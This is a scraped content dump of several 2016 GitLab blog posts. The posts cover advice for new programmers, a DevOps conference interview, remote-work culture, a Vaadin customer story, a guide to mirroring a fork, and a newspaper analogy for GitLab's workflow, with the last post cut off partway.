https://gitlab.com/gitlab-org/gitlab-docs/pipelines/5266794\n[nginx-example]: https://gitlab.com/gitlab-examples/review-apps-nginx\n[radocs]: https://docs.gitlab.com/ee/ci/review_apps/index.html\n[shell executor]: https://docs.gitlab.com/runner/executors/shell.html\n[triggers]: https://docs.gitlab.com/ee/ci/triggers/\n[pipelines-docs]: https://gitlab.com/gitlab-org/gitlab-docs/pipelines\n[readme-triggers]: https://gitlab.com/gitlab-org/gitlab-docs/blob/master/README.md#deployment-process\n[gitstrategy]: https://docs.gitlab.com/ee/ci/runners/configure_runners.html#git-strategy\n[expire in]: https://docs.gitlab.com/ee/ci/yaml/#artifacts-expire_in\n[deps]: https://docs.gitlab.com/ee/ci/yaml/#dependencies\n[pages]: https://pages.gitlab.io\n[nanoc-filters]: https://nanoc.ws/doc/reference/filters/\n[rules]: https://gitlab.com/gitlab-org/gitlab-docs/blob/30f13e6a81bf9baeda95204b5524c6abf980b1e5/Rules\n[filtersdir]: https://gitlab.com/gitlab-org/gitlab-docs/tree/30f13e6a81bf9baeda95204b5524c6abf980b1e5/lib/filters\n[cache]: https://docs.gitlab.com/ee/ci/yaml/#cache\n[stages]: https://docs.gitlab.com/ee/ci/yaml/#stages\n[before_script]: https://docs.gitlab.com/ee/ci/yaml/#before_script\n",{"slug":36823,"featured":6,"template":678},"building-a-new-gitlab-docs-site-with-nanoc-gitlab-ci-and-gitlab-pages","content:en-us:blog:building-a-new-gitlab-docs-site-with-nanoc-gitlab-ci-and-gitlab-pages.yml","Building A New Gitlab Docs Site With Nanoc Gitlab Ci And Gitlab Pages","en-us/blog/building-a-new-gitlab-docs-site-with-nanoc-gitlab-ci-and-gitlab-pages.yml","en-us/blog/building-a-new-gitlab-docs-site-with-nanoc-gitlab-ci-and-gitlab-pages",{"_path":36829,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":36830,"content":36835,"config":36838,"_id":36840,"_type":16,"title":36841,"_source":17,"_file":36842,"_stem":36843,"_extension":20},"/en-us/blog/heres-how-new-programmers-can-learn-by-contributing-to-gitlab",{"title":36831,"description":36832,"ogTitle":36831,"ogDescription":36832,"noIndex":6,"ogImage":6704,"ogUrl":36833,"ogSiteName":1180,"ogType":1181,"canonicalUrls":36833,"schema":36834},"Here's how new programmers can learn by contributing to GitLab","Everyone starts somewhere.","https://about.gitlab.com/blog/heres-how-new-programmers-can-learn-by-contributing-to-gitlab","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"Here's how new programmers can learn by contributing to GitLab\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"GitLab\"}],\n        \"datePublished\": \"2016-12-07\",\n      }",{"title":36831,"description":36832,"authors":36836,"heroImage":6704,"date":36820,"body":36837,"category":813},[711],"Hello, relative newcomers. There’s room for you to contribute, too. You can start by finding other programmers, making a plan before you code, documenting properly, and poking around on GitLab so you're never ever learning in a vacuum. Teaching yourself is hard, so here are a few tips.\n\n\u003C!--more-->\n\n## Find other programmers near you.\n\nSoftware development is not something you can learn by yourself. You have to incorporate other perspectives, and bounce ideas off of people. Go to meet-ups, conferences and any events that will facilitate meeting with other developers. Try to work on projects with other developers, because most of your professional work will involve you and others collaborating on a project - it is very difficult to design and maintain complex software on your own! This can also help you avoid developing bad habits in the first place - it's much more difficult to un-learn them down the road. Even making small contributions to GitLab will help you get involved and practice communicating with others working on the same project.\n\n## Plan before you start coding.\n\nThis is an important part of software development that lots of new programmers tend to ignore. Often they want to start writing code as soon as possible, but skipping the planning stage has a negative effect in the long term. You’ll likely end up with an unmaintainable code base and a poorly designed application. You need to embrace the \"boring parts\" of software development. These help remind you to start small by mastering the basics before you try to build the next Facebook. [_The Pragmatic Programmer_](https://pragprog.com/titles/tpp20/the-pragmatic-programmer-20th-anniversary-edition/) by Andrew Hunt and David Thomas is an excellent resource. GitLab's issue board is a useful tool for thinking through potential challenges and creating detailed checklists.\n\n## Follow conventions and standards.\n\nThere are some generally accepted coding conventions and standards you will come across when you start out. The advantage of following these norms is that most of them were created or developed by really smart people who discovered ways of making it easier to develop and maintain software. This will save you from falling into most mistakes others have found solutions to. That’s why it is really important to try and contribute to open source projects; they tend to expose you to these standards. GitLab has a [contribution guide]( https://gitlab.com/gitlab-org/gitlab-ce/blob/master/CONTRIBUTING.md) to help you get started.  \n\n## Document properly.\n\nThis might seem trivial, but it is actually one of the most difficult aspects of software development. There is a recurring joke of how naming things can be really difficult. It is important to document properly to ensure others can understand your code and make it possible for you to return to your program after some time away from it without pulling your hair out. Young programmers tend to focus more on making their code run, ignoring their code readability. To avoid other people rewriting your code, ensure you document it properly, comment on your code and use proper naming conventions. This blog [article](http://blog.codinghorror.com/coding-for-violent-psychopaths/) illustrates how important it is to document and follow best practices: “Always code as if the guy who ends up maintaining your code will be a violent psychopath who knows where you live.” Especially since your work on GitLab will likely be public, you should assume that at some point in the future, someone will look through your code and perhaps even borrow from it.   \n\nAlmost anyone can learn how to code, but it takes tremendous effort to learn how to build complex software that can be maintained for years. It will be great if more experienced developers reading this article give feedback or add to the points given above in the comment section.  \n\n_If you have some Ruby/JavaScript experience and you’re looking for a place to get started, check out our [Contribution Guide]( https://gitlab.com/gitlab-org/gitlab-ce/blob/master/CONTRIBUTING.md) and the “[Accepting merge requests]( https://gitlab.com/gitlab-org/gitlab-ce/blob/master/CONTRIBUTING.md#i-want-to-contribute)” label._\n\n_Tweet [@GitLab](https://twitter.com/gitlab) and check out our [job openings](/jobs/)._\n",{"slug":36839,"featured":6,"template":678},"heres-how-new-programmers-can-learn-by-contributing-to-gitlab","content:en-us:blog:heres-how-new-programmers-can-learn-by-contributing-to-gitlab.yml","Heres How New Programmers Can Learn By Contributing To Gitlab","en-us/blog/heres-how-new-programmers-can-learn-by-contributing-to-gitlab.yml","en-us/blog/heres-how-new-programmers-can-learn-by-contributing-to-gitlab",{"_path":36845,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":36846,"content":36852,"config":36856,"_id":36858,"_type":16,"title":36859,"_source":17,"_file":36860,"_stem":36861,"_extension":20},"/en-us/blog/gitlab-at-does-2016",{"title":36847,"description":36848,"ogTitle":36847,"ogDescription":36848,"noIndex":6,"ogImage":36849,"ogUrl":36850,"ogSiteName":1180,"ogType":1181,"canonicalUrls":36850,"schema":36851},"GitLab at DOES San Francisco 2016","We're the new kids on the block in the Git space. Here are some other things about us you should know, in a segment of DevOpsTV.","https://res.cloudinary.com/about-gitlab-com/image/upload/v1749670702/Blog/Hero%20Images/party.jpg","https://about.gitlab.com/blog/gitlab-at-does-2016","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"GitLab at DOES San Francisco 2016\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Emily von Hoffmann\"}],\n        \"datePublished\": \"2016-12-06\",\n      }",{"title":36847,"description":36848,"authors":36853,"heroImage":36849,"date":36854,"body":36855,"category":299},[22017],"2016-12-06","\n\nOur U.S. Sales Director, Haydn Mackay, joined Matt Hines on [DevOpsTV](https://devops.com/) at [DOES 2016](http://events.itrevolution.com/us/) in San Francisco last month. They chat about some trends they observed at the event, such as companies' increasing willingness to talk about tooling, and a warmer embrace of open source. Haydn explains what we do, how we got started, and mentions a few of our clients with names you might recognize. Watch their conversation or skim the transcript below, and tweet us your thoughts @GitLab.\n\n\u003C!-- more -->\n\n## Watch:\n\n\u003Cfigure class=\"video_container\">\n  \u003Ciframe src=\"https://www.youtube.com/embed/KooCVhZ7nHk\" frameborder=\"0\" allowfullscreen=\"true\"> \u003C/iframe>\n\u003C/figure>\n\n## Read:\n\n**Matt:** GitHub we're very familiar with, but GitLab is an emerging presence here so can you tell us about what it is you guys do?\n{: .alert .alert-info}\n\n**Haydn:** We're the new kids on the block in the Git space; we do get mistaken for GitHub all the time. We're an open source code collaboration platform, been around since 2013 when the project was started by our CTO. We incorporated in the States in 2014. head office here in San Francisco. We're open source, but we also sell an Enterprise Edition. Version control, issue tracking, code review, and CI/CD all baked into a single application.\n\n**Matt:** Who are your customers who are here this week? Are there any onsite talking about what they're doing?\n{: .alert .alert-info}\n\n**Haydn:** There are the two sides of the business - the community edition, our open source product. There are a lot of people who come up and see my shirt and say, \"hey, we love GitLab, we use you.\" That's great to hear because we don't know they're using it. Then we have our customer base who subscribe to the enterprise edition. There's a lot of them here, Disney's presenting, Akamai's presenting, IBM's presenting, they're on the enterprise side. A bunch on the community side like Capital One that's got some GitLab, there are quite a few here.\n\n**Matt:** Those are some great names.\n{: .alert .alert-info}\n\n**Haydn:** Yeah and one message that has become clear this week is that everyone is really embracing open source. It made sense that the tools that developers use, git obviously being open source, but that the platform on top of Git makes sense to be open source as well so they can actually contribute to the tool they use everyday.\n\n**Matt:** There's been a lot of talk about best practices this week, it used to be \"emerging practices\" but now we're driving towards best practices. Nearly every conversation that I've had this week has elicited the fact that people more and more are willing to talk about tools. Before people said, \"listen I want to talk about culture, not tools,\" but now people are talking more and more about best practices for tooling. Are you seeing that with your business as well?\n{: .alert .alert-info}\n\n**Haydn:** There's no doubt it's a competitive advantage. With the advent of continuous integration, and tying that to a development platform, and now continuous delivery and deployment, it's all becoming tightly integrated and I think there's two ROIs for that. One is you attract the right talent. The modern developer today grew up on GitHub, there's no doubt about it. So they go to a company and they expect to see that kind of workflow and tooling. It becomes a recruitment and retention strategy. And you can also improve the performance of your development team, getting stuff done and out the door faster, increasing your deployment velocity and things like that. Two-fold.\n\n**Matt:** I'm going to put you on the spot here, continuous people say \"DevOps means something different to everybody.\" I think continuous delivery suffers the same malady. What does continuous delivery mean to you and to GitLab?\n{: .alert .alert-info}\n\n**Haydn:** Continuous delivery to me means that you're in a state where you can release at any given moment. It's not so much an end result but a process. The outcome of that process is being able to ship something at any given moment, if you had to. If you wanted to ship in the next five minutes, then you could. You may not, you may decide to ship once a month like we do. We put out a major release on the 22nd of every month, that's just our regular drum beat cadence for releasing. But, if we had to put out an emergency patch for a security hole tomorrow or in the next five minutes, we could do that. To me that's what continuous delivery is.\n\n**Matt:** We've also talked about snowflakes here a lot. \"Everybody's a snowflake,\" or \"people aren't such a snowflake,\" others say. Definitions aside, you talk about bringing to market an integrated single platform, and it's got various components to it. I imagine different organizations have different ideas about what they need from a platform. How has Gitlab arrived at what needs to be in the platform it's providing and how is that changing?\n{: .alert .alert-info}\n\n**Haydn:** That's a really good question. Our CEO has really defined our scope of what we'll include in the platform and what we won't go after. The core developer tools have always been version control, code review, issue tracking, and now we're seeing continuous integration also becoming part of that dev stack, along with deployment to some degree. But things like security scanning, or scanning for vulnerabilities, is probably something that we wouldn't say is part of our scope. We try to be really clear about what will be part of our platform and which areas we'll look to integrate with or open up to others.\n\n**Matt:** The beauty of being open source is that you're 100% engaged with the community, and seeing how they're advancing their use of the tooling, must drive a lot of what you do there.\n{: .alert .alert-info}\n\n**Haydn:** Yes and in fact GitLab CI, and the Runner used in CI, was contributed by someone in the community. It was something that developers wanted inside GitLab and they just went ahead and did it. So it's a prime example of that.\n\n**Matt:** I'll ask you one last question before we let you go. One of the presentations here yesterday talked about the top ten ways to fail at DevOps. One of those was too much open source, because of the notion of reliability, support, etc. Listen, we've been hearing this since the genesis of the open source movement. Yet at the same time, this is being exacerbated by DevOps, the cloud, there's all sorts of confluences that continue to bring this subject to light. As a provider that is driven by an open source community, how do you encourage people to use as much of the open source tooling as possible while balancing that?\n{: .alert .alert-info}\n\n**Haydn:** Yeah, it's always tricky. A lot of companies are embedding open source components into the produce they're releasing, and also using open source tools as part of that development platform. What we've seen is they're kind of straddling the fence of how much to expose outside, and how much to keep on-premise. We've always been focused on-premise. That's how GitLab started, the CTO wanted a collaboration platform that he could put on his own servers for his consulting clients, that's how he started. He was importing things from open source, contributing to open source projects, but keeping that delineation between the two. Having an easy way to do it is the challenge.\n\n**Matt:** It's an interesting conversation and it probably always will be. Haydn thanks for joining us, GitLab clearly a very interesting company to watch within this space. I'm Matt Hines with DevOps TV for DevOps.com at DOES 2016, thanks for joining us.\n{: .alert .alert-info}\n\n## Chat:\n\nTweet us [@GitLab](https://twitter.com/gitlab), check out our [job openings](/jobs/), or add your questions and suggestions to our [issue tracker](https://gitlab.com/gitlab-org/gitlab-ce/issues)!\n",{"slug":36857,"featured":6,"template":678},"gitlab-at-does-2016","content:en-us:blog:gitlab-at-does-2016.yml","Gitlab At Does 2016","en-us/blog/gitlab-at-does-2016.yml","en-us/blog/gitlab-at-does-2016",{"_path":36863,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":36864,"content":36870,"config":36874,"_id":36876,"_type":16,"title":36877,"_source":17,"_file":36878,"_stem":36879,"_extension":20},"/en-us/blog/how-we-stay-connected-as-a-remote-company",{"title":36865,"description":36866,"ogTitle":36865,"ogDescription":36866,"noIndex":6,"ogImage":36867,"ogUrl":36868,"ogSiteName":1180,"ogType":1181,"canonicalUrls":36868,"schema":36869},"How we stay connected as a remote company","Open communication and strong relationships are key to our company culture – here's how we achieve these remotely","https://res.cloudinary.com/about-gitlab-com/image/upload/v1749684130/Blog/Hero%20Images/how-we-stay-connected-as-a-remote-company-globe.jpg","https://about.gitlab.com/blog/how-we-stay-connected-as-a-remote-company","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"How we stay connected as a remote company\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Rebecca Dodd\"}],\n        \"datePublished\": \"2016-12-05\",\n      }",{"title":36865,"description":36866,"authors":36871,"heroImage":36867,"date":36872,"body":36873,"category":6634},[19026],"2016-12-05","\n\nGitLab is a remote-only company, which means we have the freedom to live where we choose and work from anywhere. This flexibility is one of the reasons why it’s great to work at GitLab, but working remotely can be isolating. So how do we build a company culture when we’re all so scattered?\n\n\u003C!-- more -->\n\n## Team calls\n\nAlmost every day we have a [team call](/handbook/communication/#team-call), not just for company updates but to take it in turns filling in the rest of the team about what we’ve been up to that weekend. I’ve been given a tour of team members’ new houses, admired their Christmas decorations, squealed when their pets and kids make an appearance and watched them preparing dinner – glimpses into the personal lives of my colleagues that I’ve never had in any office job. I’ve worked at companies where I didn’t know the names of anyone who worked on a different floor. \"There are no floors at GitLab,\" Douwe said to me on a call, and it's true both literally and metaphorically. Because you’ve chatted with everyone on team calls, everyone feels approachable.\n\n## Coffee break calls\n\nWe also have regular one-on-one chats that can be about anything (as long as it’s not work!). Acknowledging that we don’t have a water cooler around which to gather, we make time for shooting the breeze online instead. And it’s kind of cool to have my [coffee break](/company/culture/all-remote/informal-communication/#coffee-chats) with someone on the other side of the world, in an entirely different time zone or season.\n\n## Summits\n\nOf course, nothing beats getting to know your team in person, which is why we get together every nine months for the [GitLab summit](/company/culture/). So far we’ve met up in Amsterdam and Austin, and in January we’ll be heading to sunny Cancun for a week to work and play together.\n\n![GitLab Austin summit](https://about.gitlab.com/images/blogimages/Gitlab-summit-Austin.jpeg)*The GitLab summit in Austin, May 2016*\n\n## Meet-ups\n\nWorking remotely means you can take your office anywhere – and that’s exactly what some of the team has done. Douwe and Robert are currently on an epic 6-month World Tour, working from 13 different countries and meeting up with other team members in Mexico City, Edinburgh, Warsaw, Tel Aviv and more. Working together even for just short bursts builds our relationships so that even when we’re working independently, we feel more connected and in tune with each other. Douwe and Robert’s adventure has even inspired others to travel while working, joining team members along the way.\n\n![GitLab Edinburgh](https://about.gitlab.com/images/blogimages/gitlab-edinburgh.jpg)*The unofficial GitLab Edinburgh office*\n\n\nLike the sound of how we work together at GitLab? Come work with us! Check out our [job openings](/jobs/).\n",{"slug":36875,"featured":6,"template":678},"how-we-stay-connected-as-a-remote-company","content:en-us:blog:how-we-stay-connected-as-a-remote-company.yml","How We Stay Connected As A Remote Company","en-us/blog/how-we-stay-connected-as-a-remote-company.yml","en-us/blog/how-we-stay-connected-as-a-remote-company",{"_path":36881,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":36882,"content":36888,"config":36891,"_id":36893,"_type":16,"title":36894,"_source":17,"_file":36895,"_stem":36896,"_extension":20},"/en-us/blog/why-vaadin-chose-gitlab",{"title":36883,"description":36884,"ogTitle":36883,"ogDescription":36884,"noIndex":6,"ogImage":36885,"ogUrl":36886,"ogSiteName":1180,"ogType":1181,"canonicalUrls":36886,"schema":36887},"Customer Story: Why Vaadin chose GitLab","Vaadin needed a new solution after their multiple platforms began costing too much time and frustration.","https://res.cloudinary.com/about-gitlab-com/image/upload/v1749670710/Blog/Hero%20Images/why-vaadin-chose-gitlab-cover.png","https://about.gitlab.com/blog/why-vaadin-chose-gitlab","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"Customer Story: Why Vaadin chose GitLab\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Emily von Hoffmann\"}],\n        \"datePublished\": \"2016-12-05\",\n      }",{"title":36883,"description":36884,"authors":36889,"heroImage":36885,"date":36872,"body":36890,"category":813},[22017],"\n\n_[Vaadin](https://vaadin.com) is an open source UI product development company that builds components and tools for developers to create beautiful web applications. The company has more than 170 employees, based in Finland, Helsinki, Berlin, and San Jose. Today more than 150,000 developers are active users of Vaadin._\n\n\u003C!-- more -->\n\nVaadin wanted a tool to centralize their internal projects, while maintaining the commitment to simple UI/UX that they prioritize in their own product. Although they had developed a workflow using [Gitolite](http://gitolite.com/gitolite/index.html), [Trac](https://trac.edgewall.org/), and several other platforms, the administrative overhead began costing developers and admins valuable time. After following GitLab since its earliest iterations, Vaadin’s IT manager, Mikael Vappula, decided that GitLab was the right platform for them. We sat down with Mikael to learn more.\n\nHere are some tips from Mikael's experience:\n* Centralizing projects reduces the overhead of both IT admins and developers.\n* Issue trackers and code review make a potent combination, especially when you can easily cross-link relevant issues and MRs.\n* Make the best tools available to your team, but let them decide what to use.\n\n**What were you using for your previous VCS?**\n{: .alert .alert-info}\n\nBefore GitLab, we used Gitolite for git repository management, Trac for issue tracking, and a variety of other platforms. We had a range of tools with separate instances provisioned for specific purposes within each project.\n\n**What were the challenges with it? Was there a specific moment when you knew it was time to try something else?**\n{: .alert .alert-info}\n\nAs the team grew, the administrative overhead grew with it. For me, the work of tracking which repos individual projects were in, or who had access to what, was starting to burden the team. The development team had problems finding relevant projects, linking to the right issue tracker, and managing the needed credentials. They lost valuable time searching for the right version control system and the correct set of credentials for it.\n\nAs the IT Manager, I had to set up new repos and credentials for the growing number of projects, tools, and employees. In doing so, I noticed that our tooling was leading developers to use their time inefficiently and become frustrated. Like most companies, our engineering teams play a critical role in the success of our business, and we couldn’t afford the loss of developers’ time. It was clear the team needed one platform where they could pull everything together under a single entry point.\n\n**Once you decided on us, how did you find the migration process?**\n{: .alert .alert-info}\n\nThe prospect of a migration is intimidating, but [Omnibus](https://gitlab.com/gitlab-org/omnibus-gitlab) made the installation and migration process easy, and we began using it quickly. I ran the setup procedure to get the new system provisioned on a new virtual machine in Vaadin's on-premise servers. I was impressed by the Omnibus distribution, and once I set up the basic settings, it was pretty much self-service. The only thing we had to pay a little more attention to was how to integrate GitLab into our authentication system (powered by CAS).\n\nI've also been impressed in terms of maintenance and updates. Rather than a multitude of servers and configuration files, the only resources needed for the 200 internal projects that Vaadin runs using GitLab are just one server and one configuration file. You know there’s always that software where you try to postpone updates, but with GitLab it’s pretty safe to take the latest version. We’ve done the updates 20 times now.\n\n**How have developers on your team responded to the switch? How did you announce the change?**\n{: .alert .alert-info}\n\nWe really emphasize open-mindedness and choice, so I couldn’t mandate a tool switch. I've heard from team members who appreciate that our culture allows people to choose their own hardware and discuss challenges openly. So after I set up GitLab I wrote a post to all of our employees. I tried to just explain what GitLab is, what different people should use it for, and generally how GitLab as a tool fits with our culture. I was pleased to see that after they heard GitLab was available to them, people generally adopted it quickly.\n\n**Can you share any details about how using GitLab has improved your team's performance or general experience?**\n{: .alert .alert-info}\n\nIt made a big difference for us to have a central point for software projects that we could manage by ourselves and have all the tooling in one place. I think using GitLab has also led to improvements in our workflow and collaboration. Using cross-linking, you can link to issues and merges, the mark-up system is great, and you can select a project’s activity to see all the members in one place. Integration, workflow, and communication have all been vastly improved.\n\n\n_If your team uses GitLab and is interested in sharing your story, please fill out this [form](https://docs.google.com/a/gitlab.com/forms/d/1K8ZTS1QvSSPos6mVh1ol8ZyagInYctX3fb9eglzeK70/edit) and we’ll get in touch!_\n\n_Tweet us [@GitLab](https://twitter.com/gitlab), and check out our [job openings](/jobs/)_\n\n_Follow [@Vaadin](https://twitter.com/vaadin?lang=en) on Twitter_\n",{"slug":36892,"featured":6,"template":678},"why-vaadin-chose-gitlab","content:en-us:blog:why-vaadin-chose-gitlab.yml","Why Vaadin Chose Gitlab","en-us/blog/why-vaadin-chose-gitlab.yml","en-us/blog/why-vaadin-chose-gitlab",{"_path":36898,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":36899,"content":36905,"config":36909,"_id":36911,"_type":16,"title":36912,"_source":17,"_file":36913,"_stem":36914,"_extension":20},"/en-us/blog/how-to-keep-your-fork-up-to-date-with-its-origin",{"title":36900,"description":36901,"ogTitle":36900,"ogDescription":36901,"noIndex":6,"ogImage":36902,"ogUrl":36903,"ogSiteName":1180,"ogType":1181,"canonicalUrls":36903,"schema":36904},"How to keep your fork up to date with its origin","GitLab Repository Mirroring: the best way to keep your fork up-to-date!","https://res.cloudinary.com/about-gitlab-com/image/upload/v1749666587/Blog/Hero%20Images/fork.png","https://about.gitlab.com/blog/how-to-keep-your-fork-up-to-date-with-its-origin","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"How to keep your fork up to date with its origin\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Marcia Ramos\"}],\n        \"datePublished\": \"2016-12-01\",\n      }",{"title":36900,"description":36901,"authors":36906,"heroImage":36902,"date":36907,"body":36908,"category":734},[34953],"2016-12-01","\nThis blog post has not been updated since publishing in 2016, so it contains outdated information. For an up-to-date source,\nplease see the documentation on [Repository Mirroring](https://docs.gitlab.com/ee/user/project/repository/mirror/index.html).\n{:.alert .alert-warning .black}\n\nHave you ever wondered how to keep a fork automatically up-to-date with its origin (**upstream**)?\n\nIn this post we'll show you how to do that on GitLab!\n\n\u003C!-- more -->\n\n## Fork\n\nAs you most likely know, a **fork** is a copy of a Git repository \"connected\" with the project you forked from (upstream). When you collaborate on code, it's pretty common forking a project, cloning to your local machine, making the changes you're up to, pushing to your fork, and submitting a [merge request (MR)](/solutions/continuous-integration/) to merge your code into the original project.\n\nYou fork a repository whenever you want to contribute to a project which you don't have access to, as it's not your own or your team's. This is how open source projects hosted by GitLab get so much collaboration from the community.\n\nWhen you are a member of a project (or a group), it's easier using the [GitLab Flow](/topics/version-control/what-is-gitlab-flow/), or _branching strategy_, since anyone in your team can pull your branch and preview your changes locally. By the way, with our brand-new solution for this, called [Review Apps](https://docs.gitlab.com/ee/ci/review_apps/), you can preview your apps in a per-branch basis, for each MR submitted to GitLab, directly from a link generated by GitLab. Review Apps came to bring the [GitLab Workflow](/topics/version-control/what-is-gitlab-flow/) up to the next level! 🙌\n\n## The Problem\n\nWhen you fork a project and clone it to your local computer, you'll eventually need to update it with the `master` branch of the upstream project (or whatever the default branch is set to). That way you will be able to checkout an up-to-date branch to work from. If you do not do that, you are very likely to stumble upon merge conflicts in the end, since the copy of the code you're working could be out-of-date.\n\nTo prevent this, first you'd need to pull the upstream, push to the remote, checkout a new branch from the `master` branch up-to-date, then finally start working on your changes. This takes time, and if you forget to do it, can cause a lot of pain. This process takes some time to complete, and turns out to be annoying if you need to do this multiple times a day. That's why we could use a better solution.\n\n## The Solution\n\nGitLab can do that for you with no pain! Yay! What you need to do is very simple: enable [GitLab Repository Mirroring](https://docs.gitlab.com/ee/user/project/repository/mirror/index.html)!\n\n\u003Ci class=\"far fa-arrow-alt-circle-right gitlab-purple\" aria-hidden=\"true\">\u003C/i>\n**First**. Mirror your fork:\n\nUnder your forked project's **Settings**, navigate to **Mirror Repository**:\n\n![settings - mirror repository](https://about.gitlab.com/images/blogimages/how-to-keep-your-fork-up-to-date-with-its-origin/mirror-repository-settings.png){:.shadow}\n\n\u003Ci class=\"far fa-arrow-alt-circle-right gitlab-purple\" aria-hidden=\"true\">\u003C/i>\n**Second**. Add the upstream's path to the field **Git repository URL**, then enable automatic mirroring:\n\n![fork - enable automatic repository update](https://about.gitlab.com/images/blogimages/how-to-keep-your-fork-up-to-date-with-its-origin/setup-automatic-mirror.png){:.shadow}\n\n\u003Ci class=\"far fa-arrow-alt-circle-right gitlab-purple\" aria-hidden=\"true\">\u003C/i>\n**Third**. Set up the **mirror user**: it's the user whose new commits to the upstream project will be attributed to in your fork.\n\n\u003Ci class=\"fas fa-check-circle-o\" aria-hidden=\"true\" style=\"color: green\">\u003C/i>\n**Done**! Once an hour, GitLab will pull the upstream for you, and keep your fork up-to-date!\n\n![fork - repo successfully mirrored](https://about.gitlab.com/images/blogimages/how-to-keep-your-fork-up-to-date-with-its-origin/repository-mirrored.png){:.shadow}\n\nBy doing so, you only need to proceed as you usually do for your own projects (pull, checkout a new branch, and push your commits). All the rest GitLab does for you!\n\nSimple, isn't it?\n\n## The Secret\n\nIn order to pull without authentication from an upstream repository you are contributing to, the project should be public in the first place. Also, the **Repository**'s **Feature Visibility** settings of the upstream project needs to be set to **Everyone with access**:\n\n![feature visibility settings](https://about.gitlab.com/images/blogimages/how-to-keep-your-fork-up-to-date-with-its-origin/feature-visibility-settings.png){:.shadow}\n\nYou can find them in your project's **Settings** (\u003Ci class=\"fas fa-cog\" aria-hidden=\"true\" style=\"color: grey\">\u003C/i>) > **Edit Project**.\n\nNote that you can mirror private projects as well, but you'd need to be a member of the project or the group it belongs.\n\n## What is Your Solution?\n\nWe would love to know how you do that! Do you have a different solution? You can certainly help others. Please share them in the comments, so everyone from the community can decide which solution is the best for them. Thank you!\n\n## Conclusion\n\nHopefully, we provided you with an easy solution for keeping your fork up-to-date. Remember, you can even mirror repositories hosted in other Git platforms!\n\nCool! I'm looking forward to hearing from you: feedback, questions, and suggestions are very welcome! Leave your comment below, and/or tweet at us [@GitLab](https://twitter.com/gitlab)! We \u003Ci class=\"fas fa-heart gitlab-purple\" aria-hidden=\"true\">\u003C/i> our community!\n\n\u003C!-- cover image: https://unsplash.com/photos/8yqds_91OLw -->\n",{"slug":36910,"featured":6,"template":678},"how-to-keep-your-fork-up-to-date-with-its-origin","content:en-us:blog:how-to-keep-your-fork-up-to-date-with-its-origin.yml","How To Keep Your Fork Up To Date With Its Origin","en-us/blog/how-to-keep-your-fork-up-to-date-with-its-origin.yml","en-us/blog/how-to-keep-your-fork-up-to-date-with-its-origin",{"_path":36916,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":36917,"content":36923,"config":36927,"_id":36929,"_type":16,"title":36930,"_source":17,"_file":36931,"_stem":36932,"_extension":20},"/en-us/blog/how-to-explain-gitlab-to-anyone",{"title":36918,"description":36919,"ogTitle":36918,"ogDescription":36919,"noIndex":6,"ogImage":36920,"ogUrl":36921,"ogSiteName":1180,"ogType":1181,"canonicalUrls":36921,"schema":36922},"How to explain GitLab to anyone","How do you explain what GitLab is and how it works to a non-technical person?","https://res.cloudinary.com/about-gitlab-com/image/upload/v1749684725/Blog/Hero%20Images/explain-gitlab-cover.jpg","https://about.gitlab.com/blog/how-to-explain-gitlab-to-anyone","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"How to explain GitLab to anyone\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Rebecca Dodd\"}],\n        \"datePublished\": \"2016-11-30\",\n      }",{"title":36918,"description":36919,"authors":36924,"heroImage":36920,"date":36925,"body":36926,"category":299},[19026],"2016-11-30","\n\nHow do you explain what GitLab is and how it works to a non-technical person?\n\nThis is a challenge I’m facing right now, as I try to describe the company I just joined to my family and friends. \u003C!-- more --> Initial conversations were not very successful:\n\n\nMe: “It’s an open source workflow solution...”\n\nThem: “What’s a workflow?”\n\nMe:\n\nThem:\n\nMe:\n\n\nI’ve been getting closer (“We help people who write code to collaborate on projects”), but it’s still hard to drive the idea home in a way that really speaks to people – especially if they have only a vague idea of what coding is.\n\nIn a team meeting we tried to come up with some real-world examples of how GitLab works, from using files on a computer, to DropBox, to Google Docs. But what if you’re talking to someone who’s not that comfortable with computers?\n\n## Let’s bring it back to something relatable, paper!\n\nSay I’m a newspaper journalist collaborating with my team on a big story about a concert. We’ve been given a brief, but we each have different aspects of the story to cover: someone will interview the performers, someone else will provide some background about the venue.\n\nIf we all worked on that original brief, we might end up writing over each other’s contributions and it would be hard to see what each person is working on. We have a meeting to divide up the work and establish what each team member’s task is and how we will approach it. To make things more efficient, we make photocopies of the brief so that each team member has their own copy that they can start adding to. We all have other articles we’re working on at the same time, so we spend some time prioritising tasks.\n\nI write a draft, and when I’m happy with my contribution, it needs to be fact checked and edited for spelling and grammar. Once a sub-editor gives it the go-ahead, I approach my editor to add my piece (currently on the photocopied brief) to the main story. My editor reviews my work, approves it for the story and includes it in the original. When this is done we create a mock-up of the newspaper page with the article so we can see how it will look.\n\nMy colleagues go through the same process until all of their work is visible too – this happens every time a change is made, no matter how small, so we know that each new part of the story has been reviewed and checked for errors. When the deadline comes, we send the newspaper to the printers and then it gets distributed. We might get some responses to our story from readers who write in: someone might suggest some information that would have been useful to include in the article, so we update the online version of the article on our website and the new addition is visible right away. Other reader feedback might be useful for improving what we write about next time.\n\n![Brief to Print](https://about.gitlab.com/images/blogimages/brief-to-print.png)\n\n## This is how GitLab works!\n\nThe process I described above is a [workflow in which everyone collaborates to bring an idea to production](/topics/version-control/what-is-gitlab-flow/), and it’s a process that works just as well for developers making software as it does for my imaginary newspaper team.\n\n![Idea to 